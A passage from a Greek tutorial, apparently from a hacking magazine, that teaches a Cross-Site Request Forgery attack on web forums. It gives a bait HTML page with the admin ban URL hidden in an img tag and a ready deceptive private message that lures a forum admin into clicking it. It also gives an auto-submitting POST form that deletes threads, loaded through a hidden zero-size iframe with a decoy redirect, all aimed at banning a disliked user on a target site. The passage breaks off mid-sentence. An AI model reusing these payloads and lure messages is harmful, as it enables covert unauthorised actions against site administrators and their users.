&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;Ανοίγουμε, λοιπόν, το τεχνητό &lt;/span&gt;&lt;span&gt;forum&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; μας και μπαίνουμε
σαν διαχειριστές. Πάμε στην διαχείριση Χρηστών και επιλέγουμε έναν τυχαίο
χρήστη (κάποιον από αυτούς που φτιάξαμε πριν λίγο). Θα παρατηρήσουμε ότι
υπάρχει (όπως σε όλα τα &lt;/span&gt;&lt;span&gt;CMS&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; άλλωστε) μια επιλογή «&lt;/span&gt;&lt;span&gt;ban&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; &lt;/span&gt;&lt;span&gt;user&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;». Ενεργοποιούμε το &lt;/span&gt;&lt;span&gt;Live&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; &lt;/span&gt;&lt;span&gt;Http&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; &lt;/span&gt;&lt;span&gt;Headers&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; και πατάμε την επιλογή. Θα δούμε ότι ο
συγκεκριμένος χρήστης δεν μπορεί πια να μπει στο &lt;/span&gt;&lt;span&gt;forum&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; μας (εικόνα 2). Ωραίαααα! Ας δούμε τώρα τι
ακριβώς έχει καταγράψει το πρόγραμμα &lt;/span&gt;&lt;span&gt;http&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;-&lt;/span&gt;&lt;span&gt;headers&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; :&lt;/span&gt;&lt;/p&gt;

&lt;p class="rtecenter"&gt;&lt;img src="https://farm6.staticflickr.com/5723/21465541863_4d078e0bb5_b.jpg"&gt;&lt;br&gt;
Εικόνα 3: Καταγραφή των εντολών του ban, φαίνεται η βασική εντολή «εκτέλεσης».&lt;/p&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;Βλέπουμε ότι η βασική εντολή που υλοποιεί
το &lt;/span&gt;&lt;span&gt;ban&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; είναι
η παρακάτω:&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;b&gt;&lt;span&gt;&lt;a href="http://www.totexnitositemas.gr/index.php?page=admin&amp;amp;act=members&amp;amp;func=ban&amp;amp;id=2"&gt;http&lt;span style="mso-ansi-language:EL;"&gt;://&lt;/span&gt;www&lt;span style="mso-ansi-language:EL;"&gt;.&lt;/span&gt;ToTexnitoSiteMas&lt;span style="mso-ansi-language:EL;"&gt;.&lt;/span&gt;gr&lt;span style="mso-ansi-language:EL;"&gt;/&lt;/span&gt;index&lt;span style="mso-ansi-language:EL;"&gt;.&lt;/span&gt;php&lt;span style="mso-ansi-language:EL;"&gt;?&lt;/span&gt;page&lt;span style="mso-ansi-language:EL;"&gt;=&lt;/span&gt;admin&lt;span style="mso-ansi-language:EL;"&gt;&amp;amp;&lt;/span&gt;act&lt;span style="mso-ansi-language:EL;"&gt;=&lt;/span&gt;members&lt;span style="mso-ansi-language:EL;"&gt;&amp;amp;&lt;/span&gt;func&lt;span style="mso-ansi-language:EL;"&gt;=&lt;/span&gt;ban&lt;span style="mso-ansi-language:EL;"&gt;&amp;amp;&lt;/span&gt;id&lt;span style="mso-ansi-language:EL;"&gt;=2&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="mso-ansi-language:EL;"&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;Χμ... απ’ ότι βλέπουμε το μόνο που
χρειάζεται είναι να περάσουμε το &lt;/span&gt;&lt;span&gt;id&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; του χρήστη που θέλουμε να μπανάρουμε στην
μεταβλητή “&lt;/span&gt;&lt;span&gt;id&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;”. Το &lt;/span&gt;&lt;span&gt;id&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;
ενός χρήστη είναι πάρα πολύ εύκολο να το βρούμε διότι δεν αποτελεί κάποια
κρυμμένη πληροφορία. Μπορούμε να το βρούμε συνήθως πηγαίνοντας στην λίστα μελών
(&lt;/span&gt;&lt;span&gt;members&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;) του
&lt;/span&gt;&lt;span&gt;forum&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; και
εκεί να κάνουμε &lt;/span&gt;&lt;span&gt;click&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; στον συγκεκριμένο χρήστη. Στην γραμμή &lt;/span&gt;&lt;span&gt;URL&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; του &lt;/span&gt;&lt;span&gt;browser&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; μας ή (πάλι με την χρήση του &lt;/span&gt;&lt;span&gt;http&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;-&lt;/span&gt;&lt;span&gt;headers&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;) θα δούμε το &lt;/span&gt;&lt;span&gt;id&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; του χρήστη. Μόλις
ολοκληρώσαμε επιτυχώς το βήμα 1.&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;Ερχόμαστε τώρα στο βήμα 2. Πρέπει να
φτιάξουμε ένα &lt;/span&gt;&lt;span&gt;link&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; κάπου το οποίο θα εκτελεί την παραπάνω εντολή ως εξής:&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span&gt;&lt;a href="http://www.tositestoxos.gr/index.php?page=admin&amp;amp;act=members&amp;amp;func=ban&amp;amp;id=245"&gt;http&lt;span style="mso-ansi-language:EL;"&gt;://&lt;/span&gt;www&lt;span style="mso-ansi-language:EL;"&gt;.&lt;/span&gt;ToSiteStoxos&lt;span style="mso-ansi-language:EL;"&gt;.&lt;/span&gt;gr&lt;span style="mso-ansi-language:EL;"&gt;/&lt;/span&gt;index&lt;span style="mso-ansi-language:EL;"&gt;.&lt;/span&gt;php&lt;span style="mso-ansi-language:EL;"&gt;?&lt;/span&gt;page&lt;span style="mso-ansi-language:EL;"&gt;=&lt;/span&gt;admin&lt;span style="mso-ansi-language:EL;"&gt;&amp;amp;&lt;/span&gt;act&lt;span style="mso-ansi-language:EL;"&gt;=&lt;/span&gt;members&lt;span style="mso-ansi-language:EL;"&gt;&amp;amp;&lt;/span&gt;func&lt;span style="mso-ansi-language:EL;"&gt;=&lt;/span&gt;ban&lt;span style="mso-ansi-language:EL;"&gt;&amp;amp;&lt;/span&gt;id&lt;span style="mso-ansi-language:EL;"&gt;=245&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;όπου το 245 είναι το &lt;/span&gt;&lt;span&gt;id&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; του χρήστη που μας
είναι αντιπαθής και το “&lt;/span&gt;&lt;span&gt;www&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;.&lt;/span&gt;&lt;span&gt;ToSiteStoxos&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;.&lt;/span&gt;&lt;span&gt;gr&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;” είναι το προς επίθεση &lt;/span&gt;&lt;span&gt;site&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;.&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;Αυτό που τώρα μένει είναι να κρύψουμε την
παραπάνω εντολή μέσα σε ένα κάποιο αρχείο &lt;/span&gt;&lt;span&gt;html&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; και να το στείλουμε με την μορφή &lt;/span&gt;&lt;span&gt;link&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; στον &lt;/span&gt;&lt;span&gt;administrator&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; του &lt;/span&gt;&lt;span&gt;forum&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;. Μόλις κάνει &lt;/span&gt;&lt;span&gt;click&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; επάνω σε αυτό και με
το δεδομένο ότι έχει μπει στο &lt;/span&gt;&lt;span&gt;forum&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; του (βασικό αυτό – για να έχουν ενεργοποιηθεί τα
μπισκοτάκια του!), θα εκτελεστεί η εντολή αποβολής του χρήστη με &lt;/span&gt;&lt;span&gt;id&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; 245, στον δικό του
υπολογιστή. Δηλαδή στον υπολογιστή που έχει το σωστό &lt;/span&gt;&lt;span&gt;cookie&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;! Έτσι ο &lt;/span&gt;&lt;span&gt;admin&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; χωρίς να το θέλει θα αποβάλει τον χρήστη 245.&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;Έχουμε όμως να ξεπεράσουμε μερικά μικρά
εμπόδια: Δεν πρέπει σε καμιά περίπτωση &lt;/span&gt;&lt;span&gt;o&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; διαχειριστής να καταλάβει τι έκανε. Δηλαδή θα
πρέπει να βλέπει στην οθόνη του κάτι τελείως άσχετο με την κρυφή ενέργεια μας
ώστε να μην πονηρευτεί πως κάτι περίεργο συμβαίνει. Πώς θα το κάνουμε αυτό;
Χμ... εδώ θα κάνουμε ένα μικρό &lt;/span&gt;&lt;span&gt;trick&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; με την &lt;/span&gt;&lt;span&gt;html&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;. Θα κρύψουμε την εντολή αυτή μέσα σε μια...
εικόνα! Μόλις το αρχείο &lt;/span&gt;&lt;span&gt;html&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; θα ανοίξει από το &lt;/span&gt;&lt;span&gt;browser&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; του θύματος, το πρώτο πράγμα που θα κάνει ο &lt;/span&gt;&lt;span&gt;browser&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; είναι να πάει να
ανοίξει όλες τις εικόνες που αναφέρονται μέσα στο αρχείο αυτό. Μια από αυτές
όμως δεν θα είναι πραγματική εικόνα. Ο &lt;/span&gt;&lt;span&gt;browser&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; δεν είναι σε θέση να το γνωρίζει αυτό, οπότε θα
εκτελέσει τον... κακό μας κώδικα!&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;Φτιάχνουμε λοιπόν το αρχείο &lt;/span&gt;&lt;span&gt;html&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; που θα είναι το
δόλωμα μας:&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;u&gt;&lt;b&gt;&lt;span&gt;ArxeioDoloma.html&lt;/span&gt;&lt;/b&gt;&lt;/u&gt;&lt;br&gt;&lt;b&gt;&amp;lt;img src="http://tbn2.google.com/images?q=tbn:B6T6sKSdPglmgM:http://www.pnl.gov/breakthroughs/issues/2005-issues/fall/images/cyber_security.jpg"/&amp;gt;&lt;br&gt;&amp;lt;img src="http://tbn1.google.com/images?q=tbn:UwCxyuruNPQ90M:http://www.cbc.ca/news/background/computer-security/gfx/titlephoto.jpg"/&amp;gt;&lt;br&gt;&amp;lt;img src="http://www.ieee-security.org/Cipher/IMAGES/HORSE-nosky-red-trans2.gif&amp;gt;&lt;br&gt;&amp;lt;img src="http://tbn0.google.com/images?q=tbn:33Ss5eKab3X_fM:http://www.freedomsecurity.us/Security%20Badge.jpg"/&amp;gt;&lt;br&gt;&amp;lt;img src="http://www.s3curity.gr/babbleboard/index.php?page=admin&amp;amp;act=members&amp;amp;func=ban&amp;amp;id=4"/&amp;gt;&lt;br&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;Απ’ ότι βλέπετε η εντολή που θα κάνει την
«δουλειά» είναι η τελευταία η οποία είναι κρυμμένη μέσα σε ένα &amp;lt;&lt;/span&gt;&lt;span&gt;img&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;tag&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;! Το επόμενο βήμα μας
είναι να ανεβάσουμε αυτό το αρχείο σε κάποιον &lt;/span&gt;&lt;span&gt;server&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; (π.χ. σε αυτόν που δοκιμάσαμε το &lt;/span&gt;&lt;span&gt;forum&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; μας στο βήμα 1) και
μετά στείλουμε ένα πολύ όμορφο &lt;/span&gt;&lt;span&gt;PM&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; (&lt;/span&gt;&lt;span&gt;Personal&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; &lt;/span&gt;&lt;span&gt;Message&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;) στον διαχειριστή και να του λέμε τα εξής:&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;--- &lt;br&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt;Φίλε &lt;/span&gt;&lt;span&gt;Admin&lt;/span&gt;&lt;/i&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt; γεια χαρά,&lt;/span&gt;&lt;/i&gt;&lt;span style="mso-ansi-language:EL;"&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;b&gt;
&lt;/b&gt;
&lt;p&gt;&lt;b&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt;Κατ’ αρχάς θέλω να σε συγχαρώ για την
καταπληκτική δουλειά που έχει κάνει στο &lt;/span&gt;&lt;span&gt;forum&lt;/span&gt;&lt;/i&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt;.&lt;/span&gt;&lt;/i&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt;&lt;br&gt;
&lt;i&gt;Είμαι 10 χρόνια &lt;/i&gt;&lt;/span&gt;&lt;i&gt;&lt;span&gt;web&lt;/span&gt;&lt;/i&gt;&lt;/i&gt;&lt;span style="mso-ansi-language:EL;"&gt; &lt;/span&gt;&lt;i&gt;&lt;span&gt;designer&lt;/span&gt;&lt;/i&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt; αλλά με ενδιαφέρει πάρα πολύ και το θέμα του &lt;/span&gt;&lt;span&gt;security&lt;/span&gt;&lt;/i&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt;. &lt;/span&gt;&lt;/i&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt;&lt;br&gt;
&lt;i&gt;Στο &lt;/i&gt;&lt;/span&gt;&lt;i&gt;&lt;span&gt;forum&lt;/span&gt;&lt;/i&gt;&lt;/i&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt; σας βρήκα αυτό που ακριβώς έψαχνα: ένα χώρο
αξιόπιστο και με γνώσεις για κάποιον που θέλει να μάθει.&lt;/span&gt;&lt;/i&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt;&lt;br&gt;
&lt;/span&gt;&lt;i&gt;&lt;span&gt;Btw&lt;/span&gt;&lt;/i&gt;&lt;/i&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt;, βρίσκω τα βασικό &lt;/span&gt;&lt;span&gt;banner&lt;/span&gt;&lt;/i&gt;&lt;span style="mso-ansi-language:EL;"&gt; &lt;/span&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt;του &lt;/span&gt;&lt;span&gt;site&lt;/span&gt;&lt;/i&gt;&lt;span style="mso-ansi-language:EL;"&gt; &lt;/span&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt;σας
μια χαρά, αλλά θα ήθελα να σε ενημερώσω ότι τεχνολογικά υπάρχουν κι άλλες
νεότερες υλοποιήσεις τις οποίες έχω σχεδιάσει εγώ ο ίδιος για κάποιους πελάτες
μου στο παρελθόν. Θα χαρώ να τις μοιραστώ μαζί σας, φυσικά χωρίς καμιά απολύτως
χρέωση. Αν σε ενδιαφέρει ρίξε μια ματιά στο παρακάτω &lt;/span&gt;&lt;span&gt;link&lt;/span&gt;&lt;/i&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt; για να δεις για τι πράγμα σου μιλάω:&lt;/span&gt;&lt;/i&gt;&lt;span style="mso-ansi-language:EL;"&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;b&gt;
&lt;/b&gt;
&lt;p style="margin-bottom:12.0pt;"&gt;&lt;b&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt;&lt;br&gt;
&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style="mso-ansi-language:EL;"&gt;LINK--&amp;gt; &lt;/span&gt;&lt;b&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt;&lt;i&gt;&amp;lt;&lt;/i&gt;&lt;/span&gt;&lt;i&gt;&lt;span&gt;a&lt;/span&gt;&lt;/i&gt;&lt;/i&gt;&lt;span style="mso-ansi-language:EL;"&gt; &lt;/span&gt;&lt;i&gt;&lt;span&gt;href&lt;/span&gt;&lt;/i&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt;="&lt;/span&gt;&lt;span&gt;http&lt;/span&gt;&lt;/i&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt;://&lt;/span&gt;&lt;span&gt;www&lt;/span&gt;&lt;/i&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt;.&lt;/span&gt;&lt;span&gt;ToTexnitoSiteMas&lt;/span&gt;&lt;/i&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt;.&lt;/span&gt;&lt;span&gt;gr&lt;/span&gt;&lt;/i&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt;/&lt;/span&gt;&lt;span&gt;ArxeioDoloma&lt;/span&gt;&lt;/i&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt;.&lt;/span&gt;&lt;span&gt;html&lt;/span&gt;&lt;/i&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt;"&amp;gt;Οι Εκόνες μου&amp;lt;/&lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;/i&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt;&amp;gt;&lt;/span&gt;&lt;/i&gt;&lt;span style="mso-ansi-language:EL;"&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;b&gt;
&lt;/b&gt;
&lt;p&gt;&lt;b&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt;Ζητώ συγγνώμη αν κάποιες είναι &lt;/span&gt;&lt;span&gt;broken&lt;/span&gt;&lt;/i&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt;, μια και
είναι από &lt;/span&gt;&lt;span&gt;sites&lt;/span&gt;&lt;/i&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt; πελατών μου και μπορεί να τις έχουμε αλλάξει θέση.&lt;/span&gt;&lt;/i&gt;&lt;span style="mso-ansi-language:EL;"&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;b&gt;
&lt;/b&gt;
&lt;p&gt;&lt;b&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt;Σε ευχαριστώ και πάλι για όλες τις
χρήσιμες πληροφορίες που μας παρέχεις!&lt;/span&gt;&lt;/i&gt;&lt;span style="mso-ansi-language:EL;"&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;b&gt;
&lt;/b&gt;
&lt;p&gt;&lt;b&gt;&lt;i&gt;&lt;span&gt;O&lt;/span&gt;&lt;/i&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt;_&lt;/span&gt;&lt;span&gt;Kakos&lt;/span&gt;&lt;/i&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt;_&lt;/span&gt;&lt;span&gt;Daimonas&lt;/span&gt;&lt;/i&gt;&lt;span style="mso-ansi-language:EL;"&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;b&gt;
&lt;/b&gt;
&lt;p&gt;--- &lt;br&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;Μόλις λοιπόν ο &lt;/span&gt;&lt;span&gt;admin&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; διαβάσει το παραπάνω &lt;/span&gt;&lt;span&gt;PM&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; θα σπεύσει (ελπίζουμε, σαν κακόπιστοι και
υποχθόνιοι τύποι που είμαστε) να πατήσει το &lt;/span&gt;&lt;span&gt;link&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; για να δει ποιο είναι αυτό το νέο και μοντέρνο &lt;/span&gt;&lt;span&gt;banner&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; που θέλει να του
προσφέρει δωρεάν ο φίλος “&lt;/span&gt;&lt;span&gt;O&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;_&lt;/span&gt;&lt;span&gt;Kakos&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;_&lt;/span&gt;&lt;span&gt;Daimonas&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;”. Θα δει λοιπόν τα παρακάτω:&lt;/span&gt;&lt;/p&gt;

&lt;p class="rtecenter"&gt;&lt;img src="https://farm1.staticflickr.com/645/22074178012_b6fb945f63_b.jpg"&gt;&lt;br&gt;
Εικόνα 4: Ένα αρχείο με κάποιες εικόνες. Κάποιες είναι... broken, όχι όμως λόγο
του οτι λείπει το link!&lt;/p&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;Όταν ο διαχειριστής θα δει την παραπάνω
εικόνα, το κακό θα έχει ήδη γίνει και δεν θα έχει πάρει «μυρωδιά»! Οι εικόνες
θα έχουν εκτελεστεί από τον &lt;/span&gt;&lt;span&gt;web&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; &lt;/span&gt;&lt;span&gt;browser&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; και ο καημένος ο χρήστης θα έχει γίνει &lt;/span&gt;&lt;span&gt;ban&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; χωρίς να έχει κάνει
τίποτε κακό! &lt;/span&gt;&lt;span&gt;Ένα ακόμα Cross Site Request Forgery
vulnerability θα έχει επιτευχθεί!&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;

&lt;h2&gt;Πιο προχωρημένες τεχνικές&lt;/h2&gt;

&lt;p&gt;&lt;span&gt;Η παραπάνω τεχνική ήταν από τις πιο απλές και εύκολες στην
υλοποίηση. Αυτό διότι υλοποιούσε το μοντέλο &lt;a href="http://www.w3schools.com/tags/ref_httpmethods.asp"&gt;GET&lt;/a&gt;. Δηλαδή όλες
οι απαραίτητες πληροφορίες για την επίθεση περνούσαν στον server από την γραμμή
του web browser μας (στην γραμμή διευθύνσεων – το λεγόμενο URL box) σαν
παράμετροι στο βασικό αρχείο index.php. Δεν λειτουργούν όμως όλες οι επιθέσεις
έτσι. Πολλά και μάλιστα σοβαρά sites υλοποιούν το μοντέλο &lt;a href="http://www.w3schools.com/tags/ref_httpmethods.asp"&gt;POST&lt;/a&gt;. Δηλαδή οι
βασικές παράμετροι μιας ενέργειας περνάνε με την μορφή κρυφών μεταβλητών οι
οποίες δεν είναι ορατές στο URL box. Και σε αυτές τις περιπτώσεις (δυστυχώς)
μπορούμε να υλοποιήσουμε επιθέσεις, με την χρήση JavaScript.&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span&gt;Για παράδειγμα, έστω ότι βλέπαμε μέσω http-headers, σε
κάποιο forum, πως όταν διαγράφουμε έναν χρήστη εκτελείτε η παρακάτω ενέργεια:&lt;/span&gt;&lt;/p&gt;

&lt;p class="rtecenter"&gt;&lt;img src="https://farm6.staticflickr.com/5744/22060500366_f1d05f4fd3_b.jpg" height="485" width="750"&gt;&lt;br&gt;
Εικόνα 5: Διαγραφή ενός χρήστη με την χρήση POST requests.&lt;/p&gt;

&lt;p&gt;&lt;span&gt;Εδώ δεν μπορούμε να καλέσουμε απλά μια εντολή στην την
γραμμή διεύθυνσης του browser μας. Θα πρέπει να υλοποιήσουμε την επίθεση
γράφοντας πρώτα τον παρακάτω κώδικα:&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span&gt;&lt;u&gt;&lt;b&gt;csrf_exploit2.php&lt;br&gt;&lt;/b&gt;&lt;/u&gt;&lt;b&gt;&amp;lt;html&amp;gt;&lt;br&gt;&amp;lt;form name="admin" action="http://www.ToSiteStoxos.gr/index.php" method="POST"&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp; &amp;lt;input type="hidden" name="action" value="ThreadDelete"&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp; &amp;lt;input type="hidden" name="threadID" value="5"&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp; &amp;lt;input type="hidden" name="x" value="2"&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp; &amp;lt;input type="hidden" name="y" value="8"&amp;gt;&lt;br&gt;&amp;lt;/form&amp;gt;&lt;br&gt;&amp;lt;script&amp;gt;document.admin.submit()&amp;lt;/script&amp;gt;&lt;br&gt;&amp;lt;/html&amp;gt;&lt;br&gt;&lt;/b&gt;&lt;br&gt;&lt;/span&gt;&lt;/p&gt;
&lt;span&gt; &lt;/span&gt;&lt;span&gt;Δηλαδή υλοποιούμε τις μεταβλητές με κρυμμένες μεταβλητές
html, όπως ακριβώς κάνει και το κανονικό forum-στόχος. Το αντίστοιχο αρχείο
δόλωμα όμως δεν θα ήτανε το csrf_exploit2.php, αλλά κάποιο άλλο που θα καλούσε
(έμμεσα) το csrf_exploit2.php. Δηλαδή κάτι σαν αυτό:&lt;/span&gt;

&lt;p&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;u&gt;&lt;b&gt;&lt;span&gt;ArxeioDoloma2.html&lt;/span&gt;&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;b&gt;
&lt;/b&gt;
&lt;p&gt;&lt;b&gt;&lt;span&gt;&amp;lt;html&amp;gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span&gt;&lt;br&gt;&amp;nbsp; &amp;lt;IFRAME src="http://www.ToSiteStoxos.gr/csrf_exploit2.php" WIDTH=0 HEIGHT=0
frameborder=0&amp;gt;&amp;lt;/IFRAME&amp;gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span&gt;&lt;br&gt;&amp;nbsp; &amp;lt;meta HTTP-EQUIV="REFRESH" content="0;
url=http://twitter.com/totalXAKER"&amp;gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span&gt;&lt;br&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;&lt;span&gt;Το ArxeioDoloma2.html χρησιμοποιεί πιο προχωρημένη τεχνική
phishing οδηγώντας το θύμα στο twitter του total Xaker, κρύβοντας εντέχνως
(μέσω IFRAME με μηδενικό μέγεθος!) τον πραγματικό του στόχο που είναι η κλήση
και η εκτέλεση του csrf_exploit2.php!&lt;/span&gt;&lt;/p&gt;

&lt;h2&gt;Η αλήθεια βρίσκεται εκεί έξω&lt;/h2&gt;

&lt;p&gt;&lt;span&gt;Δυστυχώς η αλήθεια δεν βρίσκεται σε μικρά forums και σε
ψευτο-διαμάχες μεταξύ χρηστών, αλλά σε πιο σοβαρά θέματα όπως η κλοπή
προσωπικών δεδομένων, η κλοπή χρημάτων μέσω παράκαμψης ασφάλειας σε περιβάλλον
web-banking και διάφορα άλλα τέτοια «όμορφα». H συγκεκριμένη αδυναμία είναι μεν σχετικά παλιά, αλλά είναι και αρκετά σπάνια και όχι τόσο διαδεδομένη. Είναι
